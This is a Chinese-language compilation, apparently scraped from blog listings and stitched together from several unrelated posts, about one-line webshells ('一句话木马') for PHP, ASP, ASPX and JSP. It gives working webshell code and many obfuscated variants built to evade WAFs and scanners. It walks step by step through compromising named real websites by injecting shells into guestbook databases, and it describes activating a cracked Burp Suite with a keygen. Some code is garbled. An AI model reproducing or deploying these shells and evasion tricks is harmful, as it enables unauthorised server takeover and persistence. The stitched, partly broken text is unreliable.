精华内容
下载资源
问答
  • 特把经常用到的网页后门的木马整理下,如果不全请大家补全他,大家在网站混口饭吃,都不容易何必呢 asp一句话木马 文件常见内容 <%If Request(“#”)<>”” Then Execute(Request(“#”))%> execute...
  • 一句话木马

    2018-09-15 00:32:06
    实用的一句话木马,网站拿SHELL必备,还有其他资源,以后再传
  • 通过HTTP协议来访问 一句话木马的使用范围(我只列举了2种): 1)只有数据库备份的情况 数据库备份成asp文件时候,不出现“ 编译错误,缺少脚本关闭标志%>” 2)SA权限的时候,一般先写入一句话,图个方便..(当然,直接...
  • 一句话木马连接客户端 — BY 寂寞的刺猬 @ 520000796 一句话木马(<%execute request(l)%>) 的本地连接客户端 ” %> [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
  • min.aspx 代码如下:<%@ Page Language=”Jscript”%><%eval(Request.Item[“z”],”unsafe”);%> 代码如下:<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” ...
  • 详解 一句话木马+实践.zip
  • 转义字符来写ASP(一句话木马)文件的方法.txt
  • 过狗一句话集合asp,php,aspx,谢谢下载。。
  • 个是php常见的一句话木马的源码,通过post木马程序来实现木马的植入,eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。如果没有在代码字符串中调用return语句,则...
  • 外网上传此shell可管理内网的一句话shell 参数u为内网shell地址 栗子 http://外网地址/111.php?u=http://内网ip/c.asp http://外网地址/111.jsp?u=http://内网ip/c.php 链接放入菜刀 脚本选择内网shell的脚本语言...
  • 常见的一句话木马

    2016-12-06 15:57:49
    常见的一句话木马
  • 在本篇文章里小编给大家整理的是关于PHP与SQL语句写一句话木马的相关知识点,有需要的朋友们学习下。
  • 一句话木马程序

    2013-06-26 22:24:36
    主要是注入一些网站,利用这个木马可以获得网站的webshell权限
  • 复制代码 代码如下:<?php /*一个新型的php一句话cmdshell(非一句话木马) //原理:php运行时如果遇见字符“(键盘上~符号... 您可能感兴趣的文章:asp,php一句话木马整理方便查找木马一句话木马的原理及利用分析(asp,asp
  • cat.jar与jsp一句话木马的博客文章相对应,配套使用,具体使用方法参见文章jsp一句话木马总结
  • v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站...

    “EASYNEWS新闻管理系统 v1.01 正式版”是在企业网站中非常常见的一套整站模版,在该网站系统的留言本组件中就存在着数据过滤不严漏洞,如果网站是默认路径和默认文件名安装的话,入侵者可以利用该漏洞直接上传ASP木马程序控制整个网站服务器。

    Step1 搜索入侵目标

    使用了“EASYNEWS新闻管理系统 v1.01 正式版”的网站,在网站页面的底部版权声明处,往往会有关键字符为“WWW.52EASY.COM 版权所有”。只要在GOOGLE或百度中以该字符串为关键词进行搜索,就可以找到大量的入侵目标。

    Step2 检测入侵条件

    在这里,我们以网站“http://www.qswtj.com/news/index.htm”为例进行一次入侵检测。“EASYNEWS新闻管理系统”网站的留言本数据库文件默认是位于“\ebook\db\ebook.asp”,首先在浏览器地址栏中输入“http://www.qswtj.com/news/ebook/db/ebook.asp”,回车后在浏览器页面中将显示访问留言本数据库文件的返回信息。如果在页面中显示乱码,则说明该网站的留言本数据库文件没有改名,可以进行入侵。

    Step3 在数据库中插入ASP后门

    前面提到了该新闻系统的留言本插件存在过滤不严,因此我们可以通过提交发言,在数据库中插入“一句话木马”服务端代码:

    在浏览器中访问“http://www.qswtj.com/news/khly.htm”,打开提交留言页面。在提交页面中的“主页”栏中,直接填写“一句话木马”服务端代码,其它随便填写。确定后点击“发表留言”按钮,文章发表成功后,即可将“一句话木马”服务端代码插入到留言本数据库中了。

    Step4 连接后门上传Webshell

    由于留言本数据库文件“ebook.asp”是一个ASP文件,所以我们插入到数据库文件中的ASP语句将会被执行。将“一句话木马”客户端中的提交地址改为留言本数据库文件地址,然后用浏览器打开客户端,在上方的输入框中输入上传ASP木马的保存路径,在下面的输入框中可以粘贴入其它的ASP木马代码,这里选择的是桂林老兵网站管理助手ASP代码。点击提交按钮后,刚才粘贴的ASP木马将被写入到论坛服务器中保存。

    Step5 打开WEBSHELL

    上传的ASP木马被保存到与数据库文件同一WEB目录下,文件名为“temp.asp”,因此我们在IE浏览器中打开页面“http://www.qswtj.com/news/ebook/db/temp.asp”,输入默认的密码“gxgl.com”,就可以看到一个WEBSHELL了。

    在Webshell中可以上传其它的文件或者安装木马后门、执行各种命令等,网站的服务器已经掌握在我们的手中,可以为所欲为了。

    实例二 “社区超市”入侵动网论坛

    Step1 检测入侵条件

    以入侵论坛“http://www.bbsok.com/”为例。首先在浏览器地址栏中输入“http://www.bbsok.com/data/shop.asp”,回车后在浏览器页面中将显示访问"shop.asp"文件的返回信息。说明该论坛的社区超市数据库文件没有改名或删除,可以进行入侵。

    Step2 在数据库中插入ASP后门

    登录论坛后,点击页面中的“娱乐”→“社区超市”,打开社区超市页面。在该页面中选择商店申请,打开“商店申请入驻”页面“http://www.bbsok.com/z_shop_newshop.asp”,在页面中填写任意信息,注意在“商店招牌”栏中,添加刚才的ASP代码"〈%execute request("l")%〉"。确定后点击“申请”按钮进行提交,即可将ASP代码保存在数据库文件中了。

    后面的步骤就与上面介绍的一样了,只需要用蓝屏木马连接数据库文件“http://sdoygb.w2.dvbbs.net/data/shop.asp”,然后上传WEBSHELL就可以控制论坛服务器了。

    实例三 “一句话木马”入侵未知网站

    从上面的两个例子,我们可以看出利用“一句话木马”入侵控制存在数据库过滤不严漏洞的网站,成功的前提是一定要知道网站的数据库地址。对于一些使用了未知网页程序的网站,我们如何才能找到它的数据库地址呢?这就要结合暴库或者跨站之类的方法了,下面只是结合一个简单的暴库,介绍一下利用一句话木马入侵未知网站的方法。

    Step1 暴库得到数据库路径

    以“http://bbs.dwself.com”为例。在浏览器中打开“http://bbs.dwself.com/join/listall.asp?bid=2”,将地址栏中join后的/改为%5c,在提交后的返回返回信息中可以看到网站数据库地址:“’d:\wwwroot\shuilong\wwwroot\admin\adshuilonG!#).asp’”,数据库文件名中加入了“#”符号,“#”符号在IE中执行时被解释为中断符,要访问该数据库文件则必须将“#”号变为“23%”才可以。因此数据库文件的实际WEB地址为“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”

    Step2 注册网站,插入“一句话木马”

    由于数据库文件是ASP文件格式的,满足入侵条件,因此现在我们需要将“一句话木马”插入到数据库文件中去。

    在网页上点击注册网站按钮,打开注册链接“http://bbs.dwself.com/join/add.asp?action=step3&bid=3”,在资料填写页面处的站点名称或地址中写入“一句话木马”服务端代码,其它随便填写。然后点击完成按钮提交数据,木马服务端就被插入到数据库文件中了。

    最后只需要用蓝屏木马连接数据库文件“http://bbs.dwself.com/join/admin/adshuilonG!%23).asp”,然后上传ASP木马就可以控制该网站的服务器了。

    “一句话木马”的防范

    要防范“一句话木马”可以从两方面进行,首先是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址。这就需要管理员在网页程序中查被暴库漏洞,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的讲解了。

    其次就是要防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等。例如中国站长联盟网站在出现该漏洞后已经对网页程序进行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。

    只要作好这两方面的安全工作,“一句话木马”虽然无孔不入,但是面对这样的网站系统也是无可奈何的了。

    展开全文
  • 一句话木马图片制作 三种方法:copy命令、16进制编辑、通过ps制作
  • PHP一句话木马后门

    2021-03-24 01:30:02
    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。一句话木马的原理很简单,造型也很简单,...

    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。

    一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

    一、原理简述

    对于不同的语言有不同的构造方法。

    基本构造:最开头构造的是脚本开始的标记

    核心部分:获取并执行得到的内容,通常类似eval、execute等

    被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

    如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

    /*asp一句话木马*/

    /*php一句话木马*/

    /*aspx一句话木马*/

    黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

    二、简单变形

    很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

    同理,传给a值为 @base64_decode(base64编码过后的eval)。

    利用方法:

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

    通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

    ?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

    PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

    ?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

    执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

    三、变形改良

    1.404页面隐藏木马

    404 Not Found

    Not Found

    The requested URL was not found on this server.

    @preg_replace("/[pageerror]/e",$_POST['error'],"saft");

    header('HTTP/1.1 404 Not Found');

    ?>

    一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

    2.无特征隐藏PHP后门

    利用session:

    session_start();

    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

    利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。

    利用HTTP_REFERER:

    利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

    //1.php

    header('Content-type:text/html;charset=utf-8');

    parse_str($_SERVER['HTTP_REFERER'], $a);

    if(reset($a) == '10' && count($a) == 9) {

    eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));

    }

    //2.php

    header('Content-type:text/html;charset=utf-8');

    //要执行的代码

    $code = <<

    phpinfo();

    CODE;

    //进行base64编码

    $code = base64_encode($code);

    //构造referer字符串

    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";

    //后门url

    $url = 'http://localhost/test1/1.php';

    $ch = curl_init();

    $options = [

    CURLOPT_URL => $url,

    CURLOPT_HEADER => FALSE,

    CURLOPT_RETURNTRANSFER => TRUE,

    CURLOPT_REFERER => $referer

    ];

    curl_setopt_array($ch, $options);

    echo curl_exec($ch);

    访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

    3.常见的后门

    //菜刀一句话

    $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

    $hh("/[discuz]/e",$_POST['h'],"Access");

    //危险的include函数,直接编译任何文件为php格式运行

    $filename=$_GET['xbid'];

    include ($filename);

    //重命名任何文件

    $reg="c"."o"."p"."y";

    $reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

    //菜刀一句话

    $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";

    $gzid("/[discuz]/e",$_POST['h'],"Access");

    //gif插一句话

    //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif

    include ($uid);

    //典型一句话

    //使用lanker一句话客户端的专家模式执行相关的php语句

    $_POST['a']($_POST['b']);?>

    $_POST['a']($_POST['b'],$_POST['c'])?>

    //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入

    h=@eval_r($_POST1);

    //绕过<?限制的一句话

    四、攻防

    攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

    守方:分析各种各样的函数,寻找有效的特征码来防止后门。

    黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

    安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

    语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

    针对超全局变量进行语义分析:

    $_GET

    $_POST

    $_REQUEST

    $_SERVER

    $_FILES

    $_COOKIE

    $_SESSION

    $_ENV

    $GLOBALS

    展开全文
  • 在渗透测试的后期,为了维持权限。...但是事情总不是一帆风顺的,在上传一句话木马以及使用...一、一句话木马和WAF介绍在这里就不再科普一句话木马的介绍,不明白的得可以看这里:一句话木马-百度百科。WAF的介绍可以看...

    在渗透测试的后期,为了维持权限。我们通常都会选择使用大小马或者通过添加账户等各种各样的方式给自己留个后门。但是事情总不是一帆风顺的,在上传一句话木马以及使用一句话木马的过程中我们要跟WAF斗智斗勇。今天这期我们从一句话木马的工作机制和WAF工作机制入手来讲如何绕过WAF的检测。

    一、一句话木马和WAF介绍

    在这里就不再科普一句话木马的介绍,不明白的得可以看这里:一句话木马-百度百科。

    WAF的介绍可以看这里:WAF-百度百科

    二、一句话木马机制

    我们这里以php的一句话木马为例子:

    Eval函数去执行post过来的数据,这个数据当然就是代码。在代码中,我们可以自定义实现所要的功能。比如说是文件管理,或者是模拟终端等。

    但是众所周知,服务器端的语言又比较多,极少有人能够知道这么多语言中各个函数的用途。所以这个时候菜刀之类的工具应运而生。它将我们常用的代码封装在软件之中,通过和一句话木马的交互完成工作。如果各位对此菜刀有兴趣,下面奉上“新版中国菜刀”(Cknife)的开源代码。

    回到正题,通过上面的描述,那么一句话木马的工作机制也就很明了了,主要包含两个功能,第一个是必须可以接收数据,这个数据是get或者post以及其他方式传送到服务端的指令代码。第二个需要将接收到的代码成功执行。

    对于上述,我们可以通过抓取菜刀的发送包进行验证。

    40df25397b43

    图1 抓取的菜刀HTTP包

    可以发现,菜刀通过post方式发送数据,将数据进行url解码和base64解码,还原后的php代码如下:

    @ini_set("display_errors","0");

    @set_time_limit(0);

    @set_magic_quotes_runtime(0);

    echo("->|");;

    $D=dirname($_SERVER["SCRIPT_FILENAME"]);

    if($D=="")

    $D=dirname($_SERVER["PATH_TRANSLATED"]);

    $R="{$D}\t";

    if(substr($D,0,1)!="/"){

    foreach(range("A","Z") as $L)

    if(is_dir("{$L}:"))

    $R.="{$L}:";}

    $R.="\t";

    $u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';

    $usr=($u)?$u['name']:@get_current_user();

    $R.=php_uname();

    $R.="({$usr})";

    print $R;;

    echo("|

    die();

    ?>

    上述代码的功能不是本文重点,就不再赘述。

    三、WAF检测机制

    40df25397b43

    图2 WAF日志记录

    通过对WAF的反复测试,发现对一句话木马的检测,WAF主要分为两个部分。第一个部分,当一句话木马在服务器中的时候,首先检测文件中的内容,正如上文一句话木马工提到的两大特征,WAF也会匹配上述两个特征,当一个php文件具有执行功能和接收数据功能时就会被判定为具有了一句话木马的特征,所以说对于未变形的一句话木马来说,上传上去活下来的机率几乎为零,等不到访问就被查杀掉了。

    其第二部分检测在于当一句话木马和菜刀进行通信的时候,WAF会判定提交的数据,当发现危险函数特征的时候也会进行拦截。而且根据测试结果推测,WAF出于降低误拦截的考虑,短时间内并不会对可能是一句话木马的连接进行拦截。而是当多次出现时候才确定。

    四、绕过WAF

    根据上文提到的一句话木马的工作原理以及WAF的检测机制,我们首先要做到的是一句话木马能够存活在服务器中,要不然后续的步骤无从下手。那么我们首先来看下防止一句话木马被检测出来常见的绕过手段。

    1、单特征类

    该一句话木马只有数据接收功能,不含有执行函数,可以完美绕过WAF的在线检测。当然也可以使用get函数和post函数搭配进行。与菜刀连接执行的时候通过test1内容为“assert”即可实现代码的执行。

    假如我们要利用phpinfo()函数,那么可以在地址栏输入:www.xxx.com/test.php?test1=assert&test2=phpinfo(),结果如下。

    40df25397b43

    图3验证结果

    2、混淆编码类

    该方式将eval和接收函数通过rot13编码进行了替换,完全抹去了一句话木马的两个特征。完美绕过。当然编码方式不止上述一种,也可以使用其他编码方式。

    3、字符替换类

    该方式将执行函数进行了字符替换,从而完成了特征的绕过。

    本文重在思路,所以只是列举三种,更多的情况,大家可以看看公众号之前发的关于sql注入绕过WAF的文章,同时也可以发挥脑洞,利用php一些特性,根据WAF的检测机制,进行字符填充、混淆和替换、分割等各种方式实现检测绕过。

    当一句话木马到服务器端之后,剩下的工作就是利用菜刀跟一句话木马进行连接。菜刀的种类很多,有基于c/s架构的,也有基于b/s架构的,但是其原理都是相通的。菜刀的出现减少了一句话木马使用的门槛,但是对于绕过WAF来说就需要花费一些心思了。

    我们之前也提到过,WAF会对客户端提交的参数进行审查,对于含有危险函数的会进行拦截和过滤,下面看图。

    40df25397b43

    图4 抓取的菜刀HTTP包

    实际使用中直接使用菜刀,不进行特殊的配置,几乎很难绕过,经过分析两个地方触发了WAF的报警机制,第一个是提交函数中存在的base64_decode方法,第二个是参数中存在的eval函数。那么如何在提交参数中避免这些,从而绕过呢。

    1、加密编码法

    在一句话木马中只要加上对应的解密,解码方法。那么在提交过程中则可以进行任何危险函数的加密,编码绕过WAF。比如说我们在一句话木马中提前构造好base_64解密方法如下:

    则在数据提交过程中则为:

    www.xxx.com/ test.php?test2=cGhwaW5mbygpOw==

    40df25397b43

    图5验证结果

    完全避免了任何函数的提交,当然在这里也可以使用一些常见的加密算法,比如AES、RSA等,关键在于一句话木马之中具有解密函数即可。

    2、迂回法

    该方法和大马方式类似,属于大马和一句话木马之间,就是将文件管理、下载文件等代码放在一句话木马文件之中,并且重命名功能函数,通过传参数调用,从而绕过WAF的检测。这种方法基本上可以保证不含有任何危险字段,但是对在线检测的抵抗能力加强。至于云端代码的绕过可以参考第一部分。该方法是Cknife作者提出来的。下面可以看例子:

    $pass= 'yirendai';        //密码

    if($_GET [$pass] == 1&$_GET [$action]=="file") {

    //该处可以写上列出文件的代码;其他功能类似;

    }

    ?>

    这样我们在调用的时候输入www.xxx.com/test.php?pass=yirendai&action=file 可以直接使用了文件功能。

    3、浏览器法

    随着Cknife软件的开源,在软件丰富的同时,WAF对于菜刀得判断也越来越精确。所以这个时候不妨回归原始,通过最简单的表单进行提交。发现菜刀不能连接的,通过这个方式又可以快乐的玩耍了。(ps:通过给菜刀加header仍然被拦截,欢迎大牛讲解。)

    40df25397b43

    图6浏览器实验

    然而道高一尺魔高一丈,随着一句话木马变种的增多,安全厂商的规则也越来越完善。所以在绕过的过程中,要不停的尝试、总结、完善。安全技术也是在这个过程中快速发展。本文主要目的在于讲解思路,抛砖引玉。毕竟知其然,那么剩下的就都很好理解了。

    附录菜刀:Cknife:https://github.com/Chora10/Cknife

    Webshell集合: https://github.com/tennc/webshell

    展开全文
  • 一句话木马的原理

    2021-04-22 13:00:06
    一句话木马的原理 文章目录一句话木马的原理0x00 前言0x01 解析 PHP 一句话木马的原理0x02 解析蚁剑连接一句话木马原理1.蚁剑2.使用蚁剑进行连接0x03 分析蚁剑连接原理0x04 加密的 ASP 一句话后门0x04 JSP一句话木马...

    一句话木马的原理

    0x00 前言

    常用的一句话后门工具分为 ASP、ASP.NET、JSP和 PHP 四种类型

    0x01 解析 PHP 一句话木马的原理

    常用一句话木马

    php的一句话木马: <?php @eval($_POST['pass']);?>
    asp的一句话是:   <%eval request ("pass")%>
    aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
    

    PHP一句话

    <?php eval($_POST1);?>
    <?php if(isset($_POST['c'])){eval($_POST['c']);}?>
    <?php system($_REQUEST1);?>
    <?php ($_=@$_GET1).@$_($_POST1)?>
    <?php eval_r($_POST1)?>
    <?php @eval_r($_POST1)?>//容错代码
    <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
    <?$_POST['c']($_POST['cc']);?>
    <?$_POST['c']($_POST['cc'],$_POST['cc'])?>
    <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
    <?php echo `$_GET['r']` ?>
    //绕过<?限制的一句话
    <script language="php">@eval_r($_POST[sb])</script>
     
    //绕过<?php ?>限制的一句话 
     
    <?=eval($_POST['cmd']);
    

    说明:

    @ 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码

    eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    fengzilin 这个名称可以随便定义,是接受菜刀或蚁剑通过 post 方式发送过来的代码数据,也可以称为菜刀或蚁剑连接一句话木马的密码,这里设置成什么,用菜刀或蚁剑连接的时候也要用什么。

    列如:通过一句话木马执行 PHP 代码

    ┌──(root💀fengzilin54)-[~]
    └─# systemctl start apache2.service 
                  
    ┌──(root💀fengzilin54)-[~]
    └─# cd /var/www/html/ 
    
    ┌──(root💀fengzilin54)-[/var/www/html]
    └─# vim webshell.php  
    
    <?php @eval($_POST[fengzilin]);?>
    

    image-20210308164650810

    保存退出

    打开火狐浏览器,按 F12 ,切换到 HackBar

    输入一句话木马的地址:http://192.168.37.139/webshell.php

    选中 post data 复选框

    image-20210308165540236

    由于一句话木马是通过POST方式接受数据,所以 HackBar 这里必须使用 Post data 来发送数据点击 Execute 执行

    image-20210308165628886

    已经成功执行PHP 代码 echo “hell world”;

    原理分析

    当点击 Eecute 按钮时,将 echo “hello world”; 存储在 fengzilin 中

    通过 POST 方式提交给 http://192.168.37.139/webshell.php

    webshell.php 文件中的代码是 <?php @eval($_POST[fengzilin]);?>

    $_POST[fengzilin] 是获取通过POST 方式提交过来的存储在fengzilin 中的数据也就是 echo "hello world";

    最终 @eval($_POST[fengzilin]); 变成 @eval($_POST["echo hello world;"]);

    eval 会将括号中双引号引起的部分作为 PHP 代码执行,echo 在 PHP 中输出的意思,echo ‘hello world’; 在页面中输出 hello wordl , PHP 每条语句的结束以; 结尾,所以echo ‘hello world’; 是一条完整的 PHP 代码 ,所以,最终在页面显示 hello world。

    0x02 解析蚁剑连接一句话木马原理

    1.蚁剑

    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
    任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!
    中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

    2.使用蚁剑进行连接

    下载 windows 64位 蚁剑

    官方下载链接:https://github.com/AntSwordProject/AntSword-Loader/blob/4.0.3/AntSword-Loader-v4.0.3-win32-x64.zip

    首次打开加载器时,界面如下所示:

    image-20210308182146254

    image-20210308182323120

    蚁剑加载器:antSword-master

    点击《初始化》按钮,选择已经解压的源代码所在的文件夹

    image-20210308182506892

    待提示设置完毕时,重新打开蚁剑加载器,即可看到蚁剑的主界面。

    在空白处单击鼠标右键,点击 添加数据

    image-20210308182742533

    url地址:http://192.168.37.139/webshell.php

    密码 :fengzilin ,用于提交post方式提交的数据

    image-20210308183721460

    右击空白处 选择文件管理

    image-20210308183858177

    上传下载文件
    注:仅在 web 站点目录可进行上传,因为当前用户仅对 web 站点目录拥有写权限,下载文件则需要拥有对下载文件的读权限。

    image-20210308184256477

    也可以删除文件

    0x03 分析蚁剑连接原理

    在win7上使用 破解版的burpsuite 抓包查看蚁剑连接一句话木马传递的数据

    环境说明:
    操作系统:windows 软件环境:Java 1.8

    将文件夹解压,然后运行jdk-8y221-windows-x64

    image-20210308184730418

    安装

    image-20210308184806433

    一直 下一步 ,后面就不截图了,

    image-20210308184836822

    image-20210308185532316

    至此安装成功。

    安装完成后打开 burp-loader-keygen.jar

    image-20210308185631236

    点击run

    image-20210308185701378

    点击之后会启动 burpsuite Pro 版本

    image-20210308185826195

    image-20210308185921347

    手动激活

    image-20210308185948124

    image-20210308190216914

    image-20210308190230909

    image-20210308190251987

    开始burpsuite截断

    image-20210308190346885

    打开蚁剑设置代理

    image-20210308190504336

    image-20210308190549037

    image-20210308190624533

    双击已经添加的 URL 地址

    image-20210308190730894

    image-20210308190925281

    可以看到已经抓到蚁剑通过 POST 方式提交的数据

    红色部分数据是被进行URL编码 的PHP 代码,将红色代码部分使用 burpsuite 的Decoder 进行解码

    image-20210308191225358

    解码出来的蚁剑提交给一句话木马的PHP代码

    @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e74f9";echo @asenc($output);echo "9dd248d25468";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
    

    此部分代码就是蚁剑连接一句话木马时$_POST[fengzilin] 获取到的代码,然后放到 eval 中进行 执行。

    放行此数据包,然后通过蚁剑进行一些操作,再查看下蚁剑传递给一句话木马的代码数据。

    image-20210308191421551

    image-20210308191506274

    选择一个文件右击下载,保存

    image-20210308191538588

    打开burpsuite 查看抓到的数据包

    image-20210308191623372

    将进行 URL 编码的 POST 数据进行解码

    image-20210308191847408

    解码后的代码为

    @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "a37ba93fe";echo @asenc($output);echo "2b18a";}ob_start();try{$F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["u97d43005b666"]):$_POST["u97d43005b666"]);$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&u97d43005b666=L3Zhci93d3cvaHRtbC9pbmRleC5odG1s
    

    对比下之前获取到的代码,可以很明显看出来是不一样的。
    总结:蚁剑通过连接一句话木马,每个功能操作,都是通过 POST 方式传递不同的执行代码给一句话木马,当一句话木马接收到蚁剑提交过来的数据(也就是代码),通过 evel 函数在目标服务器上执行,从而实现了控制目标服务器。所以,不同功能操作,传递给一句话木马的数据(代码)是不一样的,因为实现的功能不一样

    0x04 加密的 ASP 一句话后门

    asp一句话木马程序代码
    <%eval request("sb")%>
    
    <%execute request("sb")%>
    
    <%execute(request("sb"))%>
    
    <%execute request("sb")%><%'<% loop <%:%>
    
    <%'<% loop <%:%><%execute request("sb")%>
    
    <%execute request("sb")'<% loop <%:%>[code]
    
    [code]<script language=vbs runat=server>eval(request("sb"))</script>
    
    %><%Eval(Request(chr(35)))%><%
    
    <%eval request("sb")%>
    
    <%ExecuteGlobal request("sb")%>
    
    if Request("sb")<>"" then ExecuteGlobal request("sb") end if
    
    //容错代码
    程序代码
    <%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
    <%
    var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
    lcx.性别((lcx.名字)+'');
    %>
    

    0x04 JSP一句话木马

    JSP一句话
    <%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %>
    
    提交客户端
    <form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
    <textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
    <input type=submit value="提交">
    </form>
    

    0x05 ASPX一句话

    程序代码
    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
    程序代码
    <%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
    //Jscript的asp.net一句话
    程序代码
    <%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"])   ); }%>
    //C#的asp.net一句话
    程序代码
    <% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
    //VB的asp.net一句话
    
    展开全文
  • 如何使用JSP一句话木马和菜刀木马

    千次阅读 2021-02-28 18:08:51
